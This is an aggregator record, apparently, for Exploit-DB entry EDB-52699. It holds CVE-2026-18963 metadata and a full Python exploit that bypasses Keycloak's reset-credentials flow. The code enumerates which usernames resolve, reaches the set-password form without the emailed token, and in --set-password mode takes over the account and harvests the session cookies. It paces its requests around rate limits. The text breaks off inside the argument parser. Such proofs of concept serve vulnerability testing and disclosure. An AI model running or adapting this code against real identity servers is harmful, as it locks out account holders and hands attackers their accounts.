{"exploit":{"id":"EDB-52699","name":"Keycloak 26.7.2 - Unauthenticated Account Takeover","description":"Keycloak 26.7.2 - Unauthenticated Account Takeover","cves":["CVE-2026-18963"],"author":"Abel Maldonado","published":"2026-10-21","platform":"multiple","type":"webapps","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/52699","path":"exploits/multiple/webapps/52699.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-52699.py","vulnerabilities":[{"id":"CVE-2026-18963","state":"PUBLISHED","title":"Keycloak-services: keycloak-services: unauthenticated account takeover via reset-credentials flow bypass","titleSource":"CVE Program","description":"A flaw was found in the reset-credentials flow of the keycloak-services component, which is the core engine for identity and access management in Red Hat Build of Keycloak. The issue allows an unauthenticated attacker to force the password reset process for any user without needing to click the required email verification link. This can result in the attacker gaining full control over target user accounts by directly setting new credentials.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-18963","cvss":{"version":"3.1","baseScore":9.1,"severity":"critical","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","source":"redhat","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-18963"},"updatedAt":"2026-11-12T22:37:38.819Z","retrievedAt":"2026-11-25T16:13:33.646Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-52699.png?v=2","url":"https://exploitbin.com/exploits/EDB-52699","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-52699/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-52699/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: Keycloak  26.7.2 - Unauthenticated Account Takeover\n# Date: 2026-10-15\n# Exploit Author: Abel Maldonado | Orevim\n# Vendor Homepage: https://www.keycloak.org/\n# Software Link: https://github.com/keycloak/keycloak/releases/tag/26.6.2\n# Version: 26.0.0 - 26.4.14, 26.5.0 - 26.6.5, 26.7.0 - 26.7.1\n# Tested on: Keycloak 26.6.2 (Docker, quay.io/keycloak/keycloak:26.6.2)\n# CVE: CVE-2026-18963\n# Advisory: https://github.com/keycloak/keycloak/security/advisories/GHSA-4gv3-mc9p-5wqc\n# CWE: CWE-640 (Weak Password Recovery Mechanism for Forgotten Password)\n# Type: webapps\n# Platform: multiple\n# Repo: https://github.com/orevim/CVE-2026-18963-PoC\n# Research: https://orevim.co/research#cve-2026-18963\n\"\"\"Proof of concept and vulnerability check for CVE-2026-18963.\n\nCVE-2026-18963 is a reset-credentials flow bypass in Keycloak. An unscoped\nAUTHENTICATION_SELECTOR_SCREEN_DISPLAYED note lets an unauthenticated caller\nre-render the authenticator selection screen bound to the email execution. On an\naffected build that execution's action handler sets emailVerified and calls\nsuccess() without checking the action token, so the flow reaches the\nupdate-password required action with no emailed link.\n\nAffected: >= 26.0.0 < 26.4.15, >= 26.5.0 < 26.6.6, >= 26.7.0 < 26.7.2.\nPatched in 26.4.15, 26.6.6 and 26.7.2; the 26.8.0 line ships with the fix.\n\nThree modes:\n\n  --check                 decide whether the instance is affected, using a random\n                          identifier that resolves to nothing. Sends no mail and\n                          changes no account.\n  --check --users ...     additionally report which identifiers resolve. On an\n                          affected build a resolving identifier has emailVerified\n                          set as a side effect.\n  --set-password          complete the takeover. This locks the account holder out.\n\nEndpoints come from the realm's OIDC discovery document and form fields come from\nthe forms themselves, so custom themes, custom paths and custom field names work\nwithout edits. Everything else is an option. Playwright is imported only when\n--open is used.\n\"\"\"\n\nfrom __future__ import annotations\n\nimport argparse\nimport base64\nimport dataclasses\nimport enum\nimport hashlib\nimport http.client\nimport http.cookiejar\nimport html\nimport json\nimport os\nimport random\nimport re\nimport secrets\nimport socket\nimport ssl\nimport sys\nimport time\nimport urllib.error\nimport urllib.parse\nimport urllib.request\nfrom dataclasses import dataclass, field\nfrom html.parser import HTMLParser\nfrom pathlib import Path\n\nos.umask(0o077)  # captures hold request and response material; keep them owner-only\n\n# Protocol defaults. Every one of these can be replaced from the command line.\nDISCOVERY_SUFFIX = \".well-known/openid-configuration\"\nRESET_PATH_MARKER = \"login-actions/reset-credentials\"\nSELECTOR_FIELD = \"tryAnotherWay=on\"\nUSERNAME_FIELD = \"username\"\nPASSWORD_FIELDS = (\"password-new\", \"password-confirm\")\nHTML_ACCEPT = \"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\"\n\n\nclass Outcome(enum.Enum):\n    NOT_VULNERABLE = \"not-vulnerable\"\n    ACCOUNT_ABSENT = \"account-absent\"\n    FORM_REACHED = \"form-reached\"\n    PASSWORD_SET = \"password-set\"\n    RATE_LIMITED = \"rate-limited\"\n    INCONCLUSIVE = \"inconclusive\"\n\n\n@dataclass\nclass Target:\n    url: str | None = None\n    realm: str | None = None\n    discovery_url: str | None = None\n    auth_url: str | None = None\n    reset_url: str | None = None\n    client_id: str | None = None\n    redirect_uri: str | None = None\n    scope: str = \"openid\"\n    selector_field: str = SELECTOR_FIELD\n    username_field: str = USERNAME_FIELD\n    password_fields: tuple[str, ...] = PASSWORD_FIELDS\n    address: str | None = None\n    verify_tls: bool = True\n    timeout: float = 30.0\n    user_agent: str | None = None\n    headers: dict[str, str] = field(default_factory=dict)\n\n    def __post_init__(self) -> None:\n        if self.url:\n            self.url = self.url.rstrip(\"/\")\n        if not (self.auth_url or self.discovery_url or (self.url and self.realm)):\n            raise ValueError(\n                \"give --auth-url, or --discovery-url, or both --url and --realm\"\n            )\n        if not self.discovery_url and self.url and self.realm:\n            realm = urllib.parse.quote(self.realm, safe=\"\")\n            self.discovery_url = f\"{self.url}/realms/{realm}/{DISCOVERY_SUFFIX}\"\n\n    def origin_of(self, url: str) -> tuple[str, int]:\n        parts = urllib.parse.urlsplit(url)\n        port = parts.port or (443 if parts.scheme == \"https\" else 80)\n        return parts.hostname or \"\", port\n\n\n@dataclass\nclass Step:\n    tag: str\n    method: str\n    url: str\n    status: int\n    location: str | None = None\n    retries: int = 0\n\n\n@dataclass\nclass Result:\n    outcome: Outcome\n    identifier: str = \"\"\n    steps: list[Step] = field(default_factory=list)\n    form_url: str | None = None\n    authorization_code: str | None = None\n    session_cookies: list[str] = field(default_factory=list)\n    detail: str = \"\"\n\n    def as_dict(self) -> dict:\n        data = dataclasses.asdict(self)\n        data[\"outcome\"] = self.outcome.value\n        return data\n\n\nclass ExploitError(RuntimeError):\n    \"\"\"The chain could not continue because a page did not carry what it needs.\"\"\"\n\n\nclass RateLimited(RuntimeError):\n    \"\"\"The edge refused the request often enough that the run cannot continue.\"\"\"\n\n\nclass Response:\n    __slots__ = (\"status\", \"headers\", \"body\", \"url\", \"retries\")\n\n    def __init__(self, status, headers, body, url, retries=0):\n        self.status = status\n        self.headers = headers\n        self.body = body\n        self.url = url\n        self.retries = retries\n\n    @property\n    def location(self) -> str | None:\n        return self.headers.get(\"Location\")\n\n\n@dataclass\nclass Form:\n    action: str\n    method: str\n    fields: dict[str, str]\n\n    def password_inputs(self) -> list[str]:\n        return [name for name, value in self.fields.items() if value == \"\\x00password\"]\n\n    def body(self, overrides: dict[str, str]) -> str:\n        data = {\n            name: (\"\" if value.startswith(\"\\x00\") else value)\n            for name, value in self.fields.items()\n        }\n        data.update(overrides)\n        return urllib.parse.urlencode(data)\n\n\nclass _FormParser(HTMLParser):\n    \"\"\"Collect every form with its action, method and input fields.\n\n    An input whose type is password or which carries no value is recorded with a\n    sentinel so the caller can tell an empty field from one the page filled in.\n    \"\"\"\n\n    def __init__(self, base: str) -> None:\n        super().__init__(convert_charrefs=True)\n        self.base = base\n        self.forms: list[Form] = []\n        self.links: list[str] = []\n        self._current: Form | None = None\n\n    def handle_starttag(self, tag: str, attrs) -> None:\n        values = {key.lower(): (value or \"\") for key, value in attrs}\n        if tag == \"form\":\n            action = urllib.parse.urljoin(self.base, values.get(\"action\", \"\"))\n            self._current = Form(action, values.get(\"method\", \"post\").lower(), {})\n            self.forms.append(self._current)\n        elif tag == \"a\" and values.get(\"href\"):\n            self.links.append(urllib.parse.urljoin(self.base, values[\"href\"]))\n        elif tag in (\"input\", \"textarea\", \"select\") and self._current is not None:\n            name = values.get(\"name\")\n            if not name or values.get(\"type\") in (\"submit\", \"button\", \"image\"):\n                return\n            if values.get(\"type\") == \"password\":\n                self._current.fields[name] = \"\\x00password\"\n            else:\n                self._current.fields[name] = values.get(\"value\") or \"\\x00empty\"\n\n    def handle_endtag(self, tag: str) -> None:\n        if tag == \"form\":\n            self._current = None\n\n\ndef parse_page(body: str, base: str) -> _FormParser:\n    parser = _FormParser(base)\n    parser.feed(body)\n    return parser\n\n\ndef _unescape_js(value: str) -> str:\n    value = re.sub(r\"\\\\u([0-9a-fA-F]{4})\", lambda m: chr(int(m.group(1), 16)), value)\n    return html.unescape(value.replace(\"\\\\/\", \"/\"))\n\n\ndef kc_context_url(body: str, key: str, base: str) -> str | None:\n    \"\"\"Read a URL out of the kcContext object a Keycloak theme embeds.\n\n    A single page application theme renders no server-side form, so the action\n    exists only in that object. Its keys are serialized as JSON, so one pattern\n    is enough and avoids parsing the surrounding JavaScript.\n    \"\"\"\n    match = re.search(rf'[\"\\']{re.escape(key)}[\"\\']\\s*:\\s*\"([^\"]+)\"', body)\n    return urllib.parse.urljoin(base, _unescape_js(match.group(1))) if match else None\n\n\ndef form_body(form: Form | None, overrides: dict[str, str]) -> str:\n    return form.body(overrides) if form else urllib.parse.urlencode(overrides)\n\n\nclass Pacer:\n    \"\"\"Space requests out and settle on a rate the edge tolerates.\n\n    Retrying a 429 at the rate that caused it just earns another 429, so the\n    interval grows on every throttle and stays grown. It shrinks back toward the\n    requested rate only after a run of clean responses, and never goes faster\n    than the rate asked for or slower than the floor.\n    \"\"\"\n\n    def __init__(self, rate: float = 0.5, floor_rate: float = 0.05,\n                 jitter: float = 0.25, max_retries: int = 4,\n                 slow_factor: float = 2.0, recover_after: int = 8,\n                 recover_factor: float = 1.4) -> None:\n        self.min_interval = 1.0 / rate if rate > 0 else 0.0\n        self.max_interval = 1.0 / floor_rate if floor_rate > 0 else 600.0\n        self.interval = self.min_interval\n        self.jitter = jitter\n        self.max_retries = max_retries\n        self.slow_factor = max(1.1, slow_factor)\n        self.recover_after = recover_after\n        self.recover_factor = max(1.01, recover_factor)\n        self.throttled = 0\n        self.slowdowns = 0\n        self._streak = 0\n        self._last = 0.0\n\n    @property\n    def rate(self) -> float:\n        return 1.0 / self.interval if self.interval > 0 else 0.0\n\n    def wait(self) -> None:\n        if self.interval <= 0:\n            return\n        gap = self.interval\n        if self.jitter:\n            gap *= 1.0 + random.uniform(-self.jitter, self.jitter)\n        remaining = gap - (time.monotonic() - self._last)\n        if remaining > 0:\n            time.sleep(remaining)\n\n    def mark(self) -> None:\n        self._last = time.monotonic()\n\n    def on_success(self) -> None:\n        if self.interval <= self.min_interval:\n            return\n        self._streak += 1\n        if self._streak >= self.recover_after:\n            self.interval = max(self.min_interval, self.interval / self.recover_factor)\n            self._streak = 0\n\n    def on_throttle(self, retry_after: str | None) -> float:\n        \"\"\"Widen the interval and return how long to sleep before retrying.\"\"\"\n        self.throttled += 1\n        self._streak = 0\n        widened = min(self.max_interval, max(self.interval, 1.0) * self.slow_factor)\n        if widened > self.interval:\n            self.slowdowns += 1\n        self.interval = widened\n        if retry_after:\n            try:\n                return max(0.0, float(retry_after))\n            except ValueError:\n                pass\n        return self.interval\n\n    def report(self) -> dict:\n        return {\n            \"requested_rate\": round(1.0 / self.min_interval, 4) if self.min_interval else 0.0,\n            \"effective_rate\": round(self.rate, 4),\n            \"throttled\": self.throttled,\n            \"slowdowns\": self.slowdowns,\n        }\n\n\nclass _PinnedHTTPSConnection(http.client.HTTPSConnection):\n    \"\"\"Connect to a fixed address while keeping the Host header and SNI.\"\"\"\n\n    def __init__(self, host, *, address, **kwargs):\n        super().__init__(host, **kwargs)\n        self._address = address\n\n    def connect(self) -> None:\n        self.sock = socket.create_connection((self._address, self.port), self.timeout)\n        self.sock = self._context.wrap_socket(self.sock, server_hostname=self.host)\n\n\nclass _PinnedHTTPSHandler(urllib.request.HTTPSHandler):\n    def __init__(self, address: str, context: ssl.SSLContext) -> None:\n        super().__init__(context=context)\n        self._address = address\n        self._ssl_context = context\n\n    def https_open(self, req):\n        def build(host, **kwargs):\n            kwargs.pop(\"context\", None)\n            return _PinnedHTTPSConnection(\n                host, address=self._address, context=self._ssl_context, **kwargs\n            )\n\n        return self.do_open(build, req)\n\n\nclass _NoRedirect(urllib.request.HTTPRedirectHandler):\n    def redirect_request(self, req, fp, code, msg, headers, newurl):\n        return None\n\n\nclass Exploit:\n    \"\"\"Drives the reset-credentials chain against one realm.\n\n    One instance holds one cookie jar, so build a new instance per identifier.\n    \"\"\"\n\n    def __init__(self, target: Target, pacer: Pacer | None = None,\n                 out_dir: Path | None = None) -> None:\n        self.target = target\n        self.pacer = pacer or Pacer()\n        self.out_dir = out_dir\n        self.jar = http.cookiejar.CookieJar()\n        self.steps: list[Step] = []\n        self.throttle_events = 0\n        self.started = 0.0\n        self._counter = 0\n        self._discovery: dict | None = None\n\n        context = ssl.create_default_context()\n        if not target.verify_tls:\n            context.check_hostname = False\n            context.verify_mode = ssl.CERT_NONE\n\n        handlers: list[urllib.request.BaseHandler] = [\n            urllib.request.HTTPCookieProcessor(self.jar),\n            _NoRedirect(),\n        ]\n        handlers.append(\n            _PinnedHTTPSHandler(target.address, context)\n            if target.address\n            else urllib.request.HTTPSHandler(context=context)\n        )\n        self._opener = urllib.request.build_opener(*handlers)\n\n        if out_dir:\n            out_dir.mkdir(parents=True, exist_ok=True)\n\n    def request(self, tag: str, url: str, data: str | None = None,\n                accept: str = HTML_ACCEPT) -> Response:\n        method = \"POST\" if data is not None else \"GET\"\n        attempt = 0\n        while True:\n            self.pacer.wait()\n            request = urllib.request.Request(\n                url, data=data.encode() if data is not None else None, method=method\n            )\n            request.add_header(\"Accept\", accept)\n            if self.target.user_agent:\n                request.add_header(\"User-Agent\", self.target.user_agent)\n            for name, value in self.target.headers.items():\n                request.add_header(name, value)\n            if data is not None:\n                request.add_header(\n                    \"Content-Type\", \"application/x-www-form-urlencoded\"\n                )\n\n            try:\n                raw = self._opener.open(request, timeout=self.target.timeout)\n                status, headers, body = raw.status, raw.headers, raw.read()\n            except urllib.error.HTTPError as exc:\n                status, headers, body = exc.code, exc.headers, exc.read()\n            finally:\n                self.pacer.mark()\n\n            if status != 429:\n                self.pacer.on_success()\n                break\n            self.throttle_events += 1\n            if attempt >= self.pacer.max_retries:\n                break\n            delay = self.pacer.on_throttle(headers.get(\"Retry-After\"))\n            attempt += 1\n            time.sleep(delay)\n\n        if status == 429:\n            raise RateLimited(\n                f\"the edge answered 429 at step {tag} after {attempt} retries, \"\n                f\"with the interval widened to {self.pacer.interval:.1f}s; lower \"\n                \"--rate or raise --retries\"\n            )\n\n        response = Response(\n            status, headers, body.decode(\"utf-8\", \"replace\"), url, attempt\n        )\n        self._counter += 1\n        self.steps.append(Step(tag, method, url, status, response.location, attempt))\n        self._capture(tag, request, response)\n        return response\n\n    def _capture(self, tag: str, request, response: Response) -> None:\n        if not self.out_dir:\n            return\n        name = f\"{self._counter:02d}-{tag}\"\n        head = [f\"{request.get_method()} {request.full_url}\"]\n        head += [f\"{key}: {value}\" for key, value in request.header_items()]\n        head += [\"\", f\"HTTP {response.status}\"]\n        head += [f\"{key}: {value}\" for key, value in response.headers.items()]\n        (self.out_dir / f\"{name}.headers\").write_text(\"\\n\".join(head), \"utf-8\")\n        (self.out_dir / f\"{name}.body\").write_text(response.body, \"utf-8\")\n\n    def discovery(self) -> dict:\n        if self._discovery is None:\n            if not self.target.discovery_url:\n                raise ExploitError(\"no discovery URL and no --auth-url\")\n            response = self.request(\n                \"discovery\", self.target.discovery_url, accept=\"application/json\"\n            )\n            if response.status != 200:\n                raise ExploitError(\n                    f\"discovery returned HTTP {response.status}; pass --auth-url \"\n                    \"to skip discovery\"\n                )\n            try:\n                self._discovery = json.loads(response.body)\n            except json.JSONDecodeError as exc:\n                raise ExploitError(f\"discovery is not JSON: {exc}\") from exc\n        return self._discovery\n\n    def authorization_url(self) -> str:\n        if self.target.auth_url:\n            return self.target.auth_url\n        endpoint = self.discovery().get(\"authorization_endpoint\")\n        if not endpoint:\n            raise ExploitError(\"discovery carries no authorization_endpoint\")\n        if not self.target.client_id:\n            raise ExploitError(\"--client-id is required unless --auth-url is given\")\n        redirect_uri = self.target.redirect_uri\n        if not redirect_uri:\n            issuer = self.discovery().get(\"issuer\") or \"\"\n            redirect_uri = f\"{issuer.rstrip('/')}/account/\"\n        verifier = base64.urlsafe_b64encode(secrets.token_bytes(32)).rstrip(b\"=\")\n        digest = hashlib.sha256(verifier).digest()\n        query = urllib.parse.urlencode(\n            {\n                \"client_id\": self.target.client_id,\n                \"redirect_uri\": redirect_uri,\n                \"response_type\": \"code\",\n                \"scope\": self.target.scope,\n                \"state\": secrets.token_urlsafe(16),\n                \"code_challenge\": base64.urlsafe_b64encode(digest)\n                .rstrip(b\"=\")\n                .decode(),\n                \"code_challenge_method\": \"S256\",\n            }\n        )\n        joiner = \"&\" if \"?\" in endpoint else \"?\"\n        return f\"{endpoint}{joiner}{query}\"\n\n    def _reset_url(self) -> str:\n        if self.target.reset_url:\n            return self.target.reset_url\n        login = self.request(\"login\", self.authorization_url())\n        for href in parse_page(login.body, login.url).links:\n            if RESET_PATH_MARKER in href:\n                return href\n        from_context = kc_context_url(\n            login.body, \"loginResetCredentialsUrl\", login.url\n        )\n        if from_context:\n            return from_context\n        raise ExploitError(\n            \"the login page carries no reset-credentials link and no \"\n            \"loginResetCredentialsUrl, so either password recovery is disabled or \"\n            \"the theme renders it differently; pass --reset-url\"\n        )\n\n    @staticmethod\n    def _action(response: Response, what: str) -> tuple[str, Form | None]:\n        \"\"\"Return where to post next, from the form or from kcContext.\n\n        A single page application theme renders no form element, so the action\n        lives only in kcContext. Without a form there are no fields to carry, and\n        the caller posts only what it overrides.\n        \"\"\"\n        page = parse_page(response.body, response.url)\n        if page.forms:\n            return page.forms[0].action, page.forms[0]\n        action = kc_context_url(response.body, \"loginAction\", response.url)\n        if action:\n            return action, None\n        raise ExploitError(f\"the {what} page carries no form and no loginAction\")\n\n    def _negative(self, identifier: str, detail: str) -> Result:\n        \"\"\"A negative verdict is only sound if nothing was throttled.\n\n        A 429 mid-chain costs a backoff, and Keycloak expires the authentication\n        session on its own clock, so a chain that resumes after a long sleep can\n        return the page a patched build returns. Reporting that as not affected\n        is the one failure mode a check tool must not have.\n        \"\"\"\n        if self.throttle_events:\n            return Result(\n                Outcome.INCONCLUSIVE, identifier, self.steps,\n                detail=(\n                    f\"{detail}, but {self.throttle_events} request(s) were throttled \"\n                    \"first and the authentication session may have expired during \"\n                    \"the backoff; re-run at a lower --rate before believing this\"\n                ),\n            )\n        return Result(Outcome.NOT_VULNERABLE, identifier, self.steps, detail=detail)\n\n    def run(self, identifier: str, new_password: str | None = None) -> Result:\n        self.started = time.monotonic()\n        reset_url = self._reset_url()\n\n        reset = self.request(\"reset\", reset_url)\n        action, form = self._action(reset, \"reset\")\n\n        # The selector note is written here. Posting authenticationExecution\n        # instead switches execution and re-sends mail without reaching the defect.\n        selector_pair = dict(urllib.parse.parse_qsl(self.target.selector_field))\n        selector = self.request(\"tryanother\", action, form_body(form, selector_pair))\n        action, form = self._action(selector, \"selector\")\n\n        fields = form.fields if form else {}\n        username_field = next(\n            (name for name in fields if name.lower() == \"username\"),\n            next((name for name, value in fields.items() if value == \"\\x00empty\"),\n                 self.target.username_field),\n        )\n        self.request(\"username\", action, form_body(form, {username_field: identifier}))\n\n        reentry = self.request(\"reenter\", reset_url)\n        try:\n            action, _ = self._action(reentry, \"re-entry\")\n        except ExploitError:\n            return self._negative(\n                identifier,\n                \"re-entry rendered no selector, so the stale note was not honored\",\n            )\n\n        # The empty body is the exploit. A populated body answers a challenge\n        # instead of invoking the handler.\n        advanced = self.request(\"action\", action, \"\")\n        if advanced.status == 400:\n            return Result(\n                Outcome.ACCOUNT_ABSENT, identifier, self.steps,\n                detail=\"handler reached with no action token and no resolving user\",\n            )\n        if not (300 <= advanced.status < 400 and advanced.location):\n            return self._negative(\n                identifier,\n                f\"the empty post returned HTTP {advanced.status} and did not advance\",\n            )\n\n        form_page = self.request(\n            \"required-action\", urllib.parse.urljoin(advanced.url, advanced.location)\n        )\n        action, form = self._action(form_page, \"required-action\")\n\n        result = Result(\n            Outcome.FORM_REACHED, identifier, self.steps, form_url=form_page.url,\n            detail=\"the set-password form was reached without an emailed token\",\n        )\n        if new_password is None:\n            return result\n\n        # A theme that renders no form still posts to the server-side action,\n        # which reads the field names the required action defines.\n        names = (form.password_inputs() if form else []) or self.target.password_fields\n        final = self.request(\n            \"setpassword\", action,\n            form_body(form, {name: new_password for name in names}),\n        )\n        if not (300 <= final.status < 400 and final.location):\n            result.detail = (\n                f\"the form returned HTTP {final.status} rather than a redirect, which \"\n                \"a password policy such as a reuse history will do\"\n            )\n            return result\n\n        query = urllib.parse.parse_qs(urllib.parse.urlsplit(final.location).query)\n        result.outcome = Outcome.PASSWORD_SET\n        result.authorization_code = query.get(\"code\", [None])[0]\n        result.session_cookies = sorted({cookie.name for cookie in self.jar})\n        result.form_url = final.location\n        result.detail = \"the password was changed and the realm issued a session\"\n        return result\n\n    def playwright_cookies(self) -> list[dict]:\n        cookies = []\n        for cookie in self.jar:\n            cookies.append(\n                {\n                    \"name\": cookie.name,\n                    \"value\": cookie.value or \"\",\n                    \"domain\": cookie.domain,\n                    \"path\": cookie.path or \"/\",\n                    \"secure\": bool(cookie.secure),\n                }\n            )\n        return cookies\n\n\ndef browser_url(mode: str, result: Result, exploit: Exploit,\n                override: str | None = None) -> str:\n    \"\"\"Decide where the browser should land.\n\n    After --set-password the chain's last Location is a one-time authorization\n    code bound to a PKCE verifier the browser does not hold, so opening it burns\n    the code and fails. The account console carries the same proof with none of\n    that, because it is reached from the SSO cookies alone.\n    \"\"\"\n    if override:\n        return override\n    if mode == \"session\":\n        issuer = (exploit.discovery().get(\"issuer\") or \"\").rstrip(\"/\")\n        if not issuer:\n            raise ExploitError(\"discovery carries no issuer; pass --open-url\")\n        return f\"{issuer}/account/\"\n    if not result.form_url:\n        raise ExploitError(\"the chain produced no page to open\")\n    return result.form_url\n\n\ndef open_browser(exploit: Exploit, url: str, mode: str = \"form\", delay: float = 0.0,\n                 hold: float = 60.0, channel: str | None = None,\n                 max_age: float = 300.0, screenshot: Path | None = None) -> bool:\n    \"\"\"Open the page in a visible browser carrying the chain's cookies.\n\n    Returns whether the page that loaded is the one the mode expects. Keycloak\n    expires the authentication session on its own clock, so the age of the chain\n    plus the delay is checked against max_age before the browser starts.\n    \"\"\"\n    age = time.monotonic() - exploit.started if exploit.started else 0.0\n    if mode == \"form\" and max_age and age + delay > max_age:\n        print(\n            f\"[!] the chain is {age:.0f}s old and the delay adds {delay:g}s, past the \"\n            f\"{max_age:g}s session budget. The form will likely have expired. \"\n            \"Raise --session-max-age to go ahead anyway.\"\n        )\n        return False\n\n    try:\n        from playwright.sync_api import sync_playwright\n    except ImportError as exc:\n        raise ExploitError(\n            \"playwright is not installed: pip install playwright, then \"\n            \"playwright install chrome\"\n        ) from exc\n\n    if delay > 0:\n        print(f\"[*] waiting {delay:g}s, then opening the browser {age + delay:.0f}s \"\n              \"into the session\")\n        time.sleep(delay)\n\n    with sync_playwright() as driver:\n        launch = {\"headless\": False}\n        if channel:\n            launch[\"channel\"] = channel\n        browser = driver.chromium.launch(**launch)\n        context = browser.new_context(\n            user_agent=exploit.target.user_agent,\n            ignore_https_errors=not exploit.target.verify_tls,\n        )\n        context.add_cookies(exploit.playwright_cookies())\n        page = context.new_page()\n        page.goto(url, wait_until=\"domcontentloaded\")\n\n        if mode == \"form\":\n            landed = page.locator(\"input[type=password]\").count() > 0\n            print(\"[+] the set-password form is open\" if landed else\n                  \"[-] no password input on the page; the session has likely expired\")\n        else:\n            landed = \"login-actions\" not in page.url and \"/auth?\" not in page.url\n            print(\"[+] the session carries into the console\" if landed else\n                  \"[-] the console bounced to a login page, so the session was refused\")\n\n        if screenshot:\n            screenshot.parent.mkdir(parents=True, exist_ok=True)\n            page.screenshot(path=str(screenshot), full_page=True)\n            print(f\"[*] screenshot written to {screenshot}\")\n\n        print(f\"[*] browser open for {hold:g}s\")\n        time.sleep(hold)\n        browser.close()\n        return landed\n\n\ndef load_identifiers(values: list[str] | None, path: Path | None) -> list[str]:\n    identifiers: list[str] = []\n    for value in values or []:\n        identifiers += [item.strip() for item in value.split(\",\") if item.strip()]\n    if path:\n        identifiers += [\n            line.strip()\n            for line in path.read_text(\"utf-8\").splitlines()\n            if line.strip() and not line.startswith(\"#\")\n        ]\n    seen: set[str] = set()\n    return [i for i in identifiers if not (i in seen or seen.add(i))]\n\n\ndef run_check(target: Target, pacer: Pacer, identifiers: list[str],\n              out_dir: Path | None) -> tuple[Result, list[Result]]:\n    probe_id = f\"{secrets.token_hex(8)}@{secrets.token_hex(4)}.invalid\"\n    print(f\"[*] probing with an identifier that resolves to nothing: {probe_id}\")\n    probe = Exploit(target, pacer, _sub(out_dir, \"probe\")).run(probe_id)\n\n    if probe.outcome is Outcome.ACCOUNT_ABSENT:\n        print(\"[+] AFFECTED. The handler ran with no action token and no user.\")\n    elif probe.outcome is Outcome.FORM_REACHED:\n        print(\"[+] AFFECTED. The set-password form was reached.\")\n    else:\n        print(f\"[-] NOT AFFECTED. {probe.detail}\")\n        return probe, []\n\n    if not identifiers:\n        return probe, []\n\n    print(\n        f\"\\n[!] Checking {len(identifiers)} identifiers. On an affected build a \"\n        \"resolving\\n    identifier has emailVerified set as a side effect.\"\n    )\n    results = []\n    for index, identifier in enumerate(identifiers, 1):\n        try:\n            result = Exploit(target, pacer, _sub(out_dir, f\"id-{index:03d}\")).run(identifier)\n        except RateLimited as exc:\n            print(f\"  [{index}/{len(identifiers)}] {identifier}: rate limited, stopping\")\n            results.append(Result(Outcome.RATE_LIMITED, identifier, detail=str(exc)))\n            break\n        except ExploitError as exc:\n            result = Result(Outcome.INCONCLUSIVE, identifier, detail=str(exc))\n        mark = {\n            Outcome.FORM_REACHED: \"RESOLVES\",\n            Outcome.ACCOUNT_ABSENT: \"absent\",\n        }.get(result.outcome, result.outcome.value)\n        print(f\"  [{index}/{len(identifiers)}] {identifier}: {mark}\")\n        results.append(result)\n    return probe, results\n\n\ndef _sub(out_dir: Path | None, name: str) -> Path | None:\n    return out_dir / name if out_dir else None\n\n\ndef _pacing_line(pacer: Pacer) -> str:\n    report = pacer.report()\n    if not report[\"throttled\"]:\n        return f\"pacing: {report['effective_rate']:g} rps, nothing throttled\"\n    return (\n        f\"pacing: asked for {report['requested_rate']:g} rps, settled at \"\n        f\"{report['effective_rate']:g} rps after {report['throttled']} throttled \"\n        f\"request(s); pass --rate {report['effective_rate']:g} next time\"\n    )\n\n\ndef build_parser() -> argparse.ArgumentParser:\n    parser = argparse.ArgumentParser(\n        formatter_class=argparse.RawDescriptionHelpFormatter,\n        description=\"CVE-2026-18963 proof of concept and vulnerability check.\",\n        epilog=(\n            \"examples:\\n\"\n            \"  check an instance, changing nothing:\\n\"\n            \"    %(prog)s --url https://sso.example.com --realm demo \"\n            \"--client-id account-console --check\\n\\n\"\n            \"  check which identifiers resolve, one request every four seconds:\\n\"\n            \"    %(prog)s --url https://sso.example.com --realm demo \"\n            \"--client-id account-console \\\\\\n\"\n            \"        --check --users-file names.txt --rate 0.25\\n\\n\"\n            \"  reach the set-password form and show it in a browser:\\n\"\n            \"    %(prog)s --auth-url 'https://sso.example.com/realms/demo/...' \\\\\\n\"\n            \"        --username user@example.com --open form\\n\"\n        ),\n    )\n\n    where = parser.add_argument_group(\"where to point it\")\n    where.add_argument(\"--url\", help=\"base URL of the Keycloak server\")\n    where.add_argument(\"--realm\", help=\"realm name\")\n    where.add_argument(\"--discovery-url\", help=\"OIDC discovery document, overrides --url and --realm\")\n    where.add_argument(\"--auth-url\", help=\"a full authorization URL, skips discovery\")\n    where.add_argument(\"--reset-url\", help=\"reset-credentials URL, if the theme hides the link\")\n    where.add_argument(\"--client-id\", help=\"a public client; required unless --auth-url is given\")\n    where.add_argument(\"--redirect-uri\", help=\"default: the account console of the discovered issuer\")\n    where.add_argument(\"--scope\", default=\"openid\")\n\n    who = parser.add_argument_group(\"who to test\")\n    who.add_argument(\"--username\", help=\"one identifier, for a single run\")\n    who.add_argument(\"--users\", action=\"append\", metavar=\"A,B\", help=\"identifiers, repeatable\")\n    who.add_argument(\"--users-file\", type=Path, metavar=\"FILE\", help=\"one identifier per line\")\n\n    what = parser.add_argument_group(\"what to do\")\n    what.add_argument(\"--check\", action=\"store_true\",\n                      help=\"decide whether the instance is affected, then test any identifiers\")\n    what.add_argument(\"--set-password\", metavar=\"PASSWORD\",\n                      help=\"complete the takeover; this locks the account holder out\")\n\n    pace = parser.add_argument_group(\"pacing\")\n    pace.add_argument(\"--rate\", type=float, default=0.5, metavar=\"RPS\",\n                      help=\"requests per second to aim for, and the ceiling the run \"\n                           \"never exceeds; 0 for no spacing (default: %(default)s)\")\n    pace.add_argument(\"--floor-rate\", type=float, default=0.05, metavar=\"RPS\",\n                      help=\"slowest the run will go when throttled (default: %(default)s)\")\n    pace.add_argument(\"--jitter\", type=float, default=0.25, metavar=\"FRACTION\",\n                      help=\"randomize each gap by this fraction (default: %(default)s)\")\n    pace.add_argument(\"--retries\", type=int, default=4, metavar=\"N\",\n                      help=\"retries of a single throttled request (default: %(default)s)\")\n    pace.add_argument(\"--slow-factor\", type=float, default=2.0, metavar=\"X\",\n                      help=\"widen the interval by this much per 429 (default: 